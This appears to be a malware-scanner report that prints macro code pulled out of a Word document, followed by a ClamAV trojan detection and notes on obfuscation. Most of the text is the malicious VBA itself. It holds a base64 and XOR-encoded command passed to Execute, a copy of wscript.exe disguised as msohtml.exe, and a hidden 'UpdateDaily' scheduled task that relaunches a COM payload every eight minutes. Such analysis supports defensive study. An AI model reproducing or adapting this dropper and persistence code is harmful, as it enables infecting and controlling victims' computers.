Data = Data + "LDY5Myw2OTcsNzQ5LDc1OSw3NDksNjg2LDY3Miw2ODEsNzUyLDY4Niw2NzIsNjgxLDc0Nyw2OTksNjg3"
Data = Data + "LDY4Niw3MDMsNjczLDY4Myw3NTksNzQ5LDY0OCw2OTMsNjgwLDY4Niw2OTYsNjk3LDY4MCw3NDEsNjg2"
Data = Data + "LDY3Miw2ODEsNzQwLDcxMSw2NjAsNjQwLDY0NCw2NzksNjQyLDcwMSw2NDUsNjkzLDY2NCw3MDEsNjk4"
Data = Data + "LDY3Myw2ODcsNjk3LDY0NCw3MDMsNjc2LDY3NSw3NDksNzUyLDc0OSw2ODMsNjgxLDcwMCw2NTUsNzAz"
Data = Data + "LDY5Niw2NTIsNjQ2LDY1Miw2NzUsNjY3LDY1MCw2NDksNjY1LDcwMiw2NDEsNjcxLDc0MSw2ODMsNjQ5"
Data = Data + "LDY1NCw2NDcsNjUwLDY3MSw2NzUsNzAxLDY0MCw2NTUsNjU1LDY2Nyw2NjAsNjY3LDY2Niw2NTUsNjcw"
Data = Data + "LDY0Myw3NDAsNzExLDY1MSw2OTYsNjc1LDY4Niw2OTcsNjc2LDY3NCw2NzUsNzQ5LDY2Niw2OTUsNjQ1"
Data = Data + "LDY2OSw3MDIsNjQ5LDY5OSw2NzYsNjY3LDY5Myw2NjYsNzAxLDcwMyw2ODAsNjYwLDY1MCw2OTgsNjQ5"
Data = Data + "LDc0MSw2NTQsNjQ3LDcwMyw2NDQsNjUyLDY5OCw2NDksNjc5LDY2MSw2NjcsNjcxLDY5OCw2NDcsNzM3"
Data = Data + "LDY4MCw3MDMsNjY1LDY2Nyw2NzksNjc5LDY4MSw2NDIsNzAzLDY2MSw2OTMsNjc5LDY4NCw2NzUsNjk1"
Data = Data + "LDY3NCw2ODAsNzQwLDcxMSw2NjYsNjk1LDY0NSw2NjksNzAyLDY0OSw2OTksNjc2LDY2Nyw2OTMsNjY2"
Data = Data + "LDcwMSw3MDMsNjgwLDY2MCw2NTAsNjk4LDY0OSw3NDksNzUyLDc0OSw2NTQsNjQ3LDcwMyw2NDQsNjUy"
Data = Data + "LDY5OCw2NDksNjc5LDY2MSw2NjcsNjcxLDY5OCw2NDcsNzQ5LDc0Miw3NDksNjgwLDcwMyw2NjUsNjY3"
Data = Data + "LDY3OSw2NzksNjgxLDY0Miw3MDMsNjYxLDY5Myw2NzksNjg0LDY3NSw2OTUsNjc0LDY4MCw3MTEsNjQ4"
Data = Data + "LDY3NSw2ODEsNzQ5LDY1MSw2OTYsNjc1LDY4Niw2OTcsNjc2LDY3NCw2NzUsNzExLDY0OSw2NzYsNjcy"
Data = Data + "LDc0OSw2NjMsNjY2LDY3OSw2ODIsNjQ1LDY0MSw2OTgsNjQ1LDY2OCw2NzAsNjY5LDY1NCw3MzcsNzAw"
Data = Data + "LDY5OSw2NjcsNjgzLDY5Nyw2NDQsNjcxLDY3OCw2NzQsNjY3LDY2Myw2NDQsNjgzLDY1MSw3MzcsNjQy"
Data = Data + "LDY3MSw2NjYsNjcyLDY2NSw2ODcsNjY2LDY0MCw2ODEsNjQzLDcwMyw2OTIsNjQ0LDY4MSw2OTUsNjc4"
Data = Data + "LDY0MCw3MDIsNjkyLDY2Niw2OTcsNjU1LDY3Myw2NjQsNzExLDY3MSw2ODQsNjc1LDY4MSw2NzQsNjcy"
Data = Data + "LDY3Niw2OTUsNjgwLDcxMSw3MDAsNjk5LDY2Nyw2ODMsNjk3LDY0NCw2NzEsNjc4LDY3NCw2NjcsNjYz"
Data = Data + "LDY0NCw2ODMsNjUxLDc0OSw3NTIsNzQ5LDY3MSw2NzUsNjgxLDcxMSw2NDIsNjcxLDY2Niw2NzIsNjY1"
Data = Data + "LDY4Nyw2NjYsNjQwLDY4MSw2NDMsNzAzLDY5Miw2NDQsNjgxLDY5NSw2NzgsNjQwLDcwMiw2OTIsNjY2"
Data = Data + "LDY5Nyw2NTUsNjczLDY2NCw3NDksNzUyLDc0OSw2NzEsNjc1LDY4MSw3MTEsNjYzLDY2Niw2NzksNjgy"
Data = Data + "LDY0NSw2NDEsNjk4LDY0NSw2NjgsNjcwLDY2OSw2NTQsNzQ5LDc1Miw3NDksNjY2LDY5NSw2NDUsNjY5"
Data = Data + "LDcwMiw2NDksNjk5LDY3Niw2NjcsNjkzLDY2Niw3MDEsNzAzLDY4MCw2NjAsNjUwLDY5OCw2NDksNzQx"
Data = Data + "LDcwMCw2OTksNjY3LDY4Myw2OTcsNjQ0LDY3MSw2NzgsNjc0LDY2Nyw2NjMsNjQ0LDY4Myw2NTEsNzM3"
Data = Data + "LDY0Miw2NzEsNjY2LDY3Miw2NjUsNjg3LDY2Niw2NDAsNjgxLDY0Myw3MDMsNjkyLDY0NCw2ODEsNjk1"
Data = Data + "LDY3OCw2NDAsNzAyLDY5Miw2NjYsNjk3LDY1NSw2NzMsNjY0LDc0MCk6IGNtZD0iIjogRm9yIGVhY2gg"
Data = Data + "YyBpbiBjczogY21kPWNtZCZDaHIoYyB4b3IgNzE3KTogTmV4dCA6IGNtZD1jbWQmdmJjcmxmOiBFeGVj"
Data = Data + "dXRlKGNtZCk="
Dim DTPcDKLWrBEXmDJohyq
DTPcDKLWrBEXmDJohyq = JWXZUaRBtyHjzUdZ(Data)
Dim YzYxCoECUjRVpvzrBd As Object
Set YzYxCoECUjRVpvzrBd = CreateObject("Scripting.FileSystemObject")
Dim KTCmuIMgBJRYzHlrL As Object
Set KTCmuIMgBJRYzHlrL = YzYxCoECUjRVpvzrBd.CreateTextFile(tgrIRwdsnmuquriMIt)
KTCmuIMgBJRYzHlrL.WriteLine DTPcDKLWrBEXmDJohyq
KTCmuIMgBJRYzHlrL.Close
Set YzYxCoECUjRVpvzrBd = Nothing
Set KTCmuIMgBJRYzHlrL = Nothing
Set OFSO = CreateObject("Scripting.FileSystemObject")
Dim wRXfRfhGCxCPW As String
wRXfRfhGCxCPW = Environ("SYSTEMDRIVE")
Dim arcPath As String
arcPath = rzfevexNwMGnPWXpK & "\\Windows\\SysWOW64"
If OFSO.FolderExists(arcPath) = True Then
FileCopy wRXfRfhGCxCPW & "\Windows\SysWOW64\wscript.exe", rzfevexNwMGnPWXpK & "\msohtml.exe"
Else
FileCopy wRXfRfhGCxCPW & "\Windows\System32\wscript.exe", rzfevexNwMGnPWXpK & "\msohtml.exe"
End If
End Function
Function JWXZUaRBtyHjzUdZ(ByVal base64String)
Const Base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/[!!]"
Dim dataLength, sOut, groupBegin
base64String = Replace(base64String, vbCrLf, "")
base64String = Replace(base64String, vbTab, "")
base64String = Replace(base64String, " ", "")
dataLength = Len(base64String)
If dataLength Mod 4 <> 0 Then
Err.Raise 1, "JWXZUaRBtyHjzUdZ", "Bad Base64 string."
Exit Function
End If
For groupBegin = 1 To dataLength Step 4
Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut
numDataBytes = 3
nGroup = 0
For CharCounter = 0 To 3
thisChar = Mid(base64String, groupBegin + CharCounter, 1)
If thisChar = "=" Then
numDataBytes = numDataBytes - 1
thisData = 0
Else
thisData = InStr(1, Base64, thisChar, vbBinaryCompare) - 1
End If
If thisData = -1 Then
Err.Raise 2, "JWXZUaRBtyHjzUdZ", "Bad character In Base64 string."
Exit Function
End If
nGroup = 64 * nGroup + thisData
Next
nGroup = Hex(nGroup)
nGroup = String(6 - Len(nGroup), "0") & nGroup
pOut = Chr(CByte("&H" & Mid(nGroup, 1, 2))) + _
Chr(CByte("&H" & Mid(nGroup, 3, 2))) + _
Chr(CByte("&H" & Mid(nGroup, 5, 2)))
sOut = sOut & Left(pOut, numDataBytes)
Next
JWXZUaRBtyHjzUdZ = sOut
End Function
Function yiBhyERIualWRmBjcsIbCZLq(MBrUZCnACSJYjdxmUAnw As String)
Const TriggerTypeTime = 1
Const ActionTypeExec = 0
Set service = CreateObject("Schedule.Service")
Call service.Connect
Dim rootFolder
Set rootFolder = service.GetFolder("\")
Dim taskDefinition
Set taskDefinition = service.NewTask(0)
Dim principal
Set principal = taskDefinition.principal
principal.LogonType = 3
Dim settings
Set settings = taskDefinition.settings
settings.Enabled = True
settings.StartWhenAvailable = True
settings.Hidden = False
Dim triggers
Set triggers = taskDefinition.triggers
Dim trigger
Set trigger = triggers.Create(TriggerTypeTime)
Dim startTime, endTime
Dim time
time = DateAdd("s", 30, Now)
startTime = XmlTime(time)
trigger.StartBoundary = startTime
trigger.Enabled = True
Dim Repetition
Set Repetition = trigger.Repetition
Repetition.Interval = "PT" & "8" & "M"
Dim Action
Set Action = taskDefinition.Actions.Create(ActionTypeExec)
Action.Path = "explorer.exe"
Action.Arguments = "shell:::{" & MBrUZCnACSJYjdxmUAnw & "}"
Call rootFolder.RegisterTaskDefinition("UpdateDaily", taskDefinition, 6, , , 3)
End Function
Function XmlTime(t)
Dim cSecond, cMinute, CHour, cDay, cMonth, cYear
Dim tTime, tDate
cSecond = "0" & Second(t)
cMinute = "0" & Minute(t)
CHour = "0" & Hour(t)
cDay = "0" & Day(t)
cMonth = "0" & Month(t)
cYear = Year(t)
tTime = Right(CHour, 2) & ":" & Right(cMinute, 2) & _
":" & Right(cSecond, 2)
tDate = cYear & "-" & Right(cMonth, 2) & "-" & Right(cDay, 2)
XmlTime = tDate & "T" & tTime
End Function
|
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vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 42496 bytes |
SHA-256: e957acfe540beea791ff6115abe00095de9c2e20154308af4c00af64998ec3db |
|||
|
Detection
ClamAV:
Doc.Trojan.Agent-6923201-0
Obfuscation or payload:
likely
263 of 428 identifiers look randomly generated (e.g. 'LDY4Nyw2NzYsNjU0LDY2MCw3MDMsNzQ5LDc0Miw3') — consistent with name-mangling obfuscation.
|
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